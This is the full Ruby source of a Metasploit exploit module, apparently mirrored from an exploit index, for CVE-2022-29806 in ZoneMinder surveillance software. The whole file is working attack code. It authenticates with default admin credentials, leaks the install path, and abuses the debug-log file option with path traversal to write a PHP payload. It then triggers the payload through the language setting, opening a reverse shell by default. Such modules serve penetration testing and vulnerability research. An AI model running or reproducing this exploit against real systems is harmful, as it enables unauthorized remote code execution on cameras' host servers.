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## https://sploitus.com/exploit?id=MSF:EXPLOIT/UNIX/WEBAPP/ZONEMINDER_LANG_EXEC/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ZoneMinder Language Settings Remote Code Execution',
        'Description' => %q{
          This module exploits arbitrary file write in debug log file option
          chained with a path traversal in language settings that leads to a
          remote code execution in ZoneMinder surveillance software versions
          before 1.36.13 and before 1.37.11
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'krastanoel' ], # Discovery and exploit
        'References' => [
          [ 'CVE', '2022-29806' ],
          [ 'URL', 'https://krastanoel.com/cve/2022-29806']
        ],
        'Platform' => ['php'],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2022-04-27',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'php/reverse_perl',
          'Encoder' => 'php/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
      OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
      OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
    ])
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    if res.body =~ /ZoneMinder/
      csrf_magic = get_csrf_magic(res)
      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}

      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
    else
      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
    end

    res.body.match(/v(1.\d+.\d+)/)
    version = Regexp.last_match(1)
    unless version
      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
    end

    version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')

    Exploit::CheckCode::Safe("Version Detected: #{version}")
  rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown('Could not connect to the web service')
  end

  def exploit
    unless datastore['AutoCheck']
      cookie_jar.clear
      res = authenticate
      fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
    end

    vprint_status('Leak installation directory path')
    random_path = rand_text_alphanumeric(6..15)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { 'view' => random_path }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { 'view' => 'options' }
    )

    csrf_magic = get_csrf_magic(res)
    current_lang = res&.get_html_document&.at(
      'select[@name="newConfig[ZM_LANG_DEFAULT]"]
        option[@selected="selected"]'
    )&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?

    data = 'view=request&request=log&task=query&limit=10'
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?

    res.body.match(/(\{"result":.*})/)
    request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
    if request_log.key?(:rows) # Check for latest version key first v1.36.x
      request_log_key = 'rows'
    elsif request_log.key?(:logs)
      request_log_key = 'logs'
    else
      fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
    end

    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
    if request_log
      path = request_log['File'].split('/')[0..-2].join('/')
      vprint_good("Path: #{path}")
    else
      fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
    end

    fname = "#{rand_text_alphanumeric(6..15)}.php"
    traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join
    shell = "#{traverse_path}tmp/#{fname}"
    data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
    vprint_good("Shell: #{shell}")

    p = %(<?php #{payload.encoded} ?>)
    data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res

    result = JSON.parse(res.body)['result']
    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'

    # trigger the shell
    lang = shell.gsub(/\.php/, '')
    data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302

    # cleanup
    data = Rack::Utils.parse_nested_query(data)
    data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_query,
      'keep_cookies' => true
    )
    vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200

    data['tab'] = 'logging'
    data['newConfig']['ZM_LOG_DEBUG'] = 0
    data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_query,
      'keep_cookies' => true
    )
    vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  private

  def get_csrf_magic(res)
    return if res.nil?

    res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
  end

  def authenticate(csrf_magic = nil)
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    data = "action=login&view=login&username=#{username}&password=#{password}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'data' => data.to_s,
      'keep_cookies' => true
    })
  end
end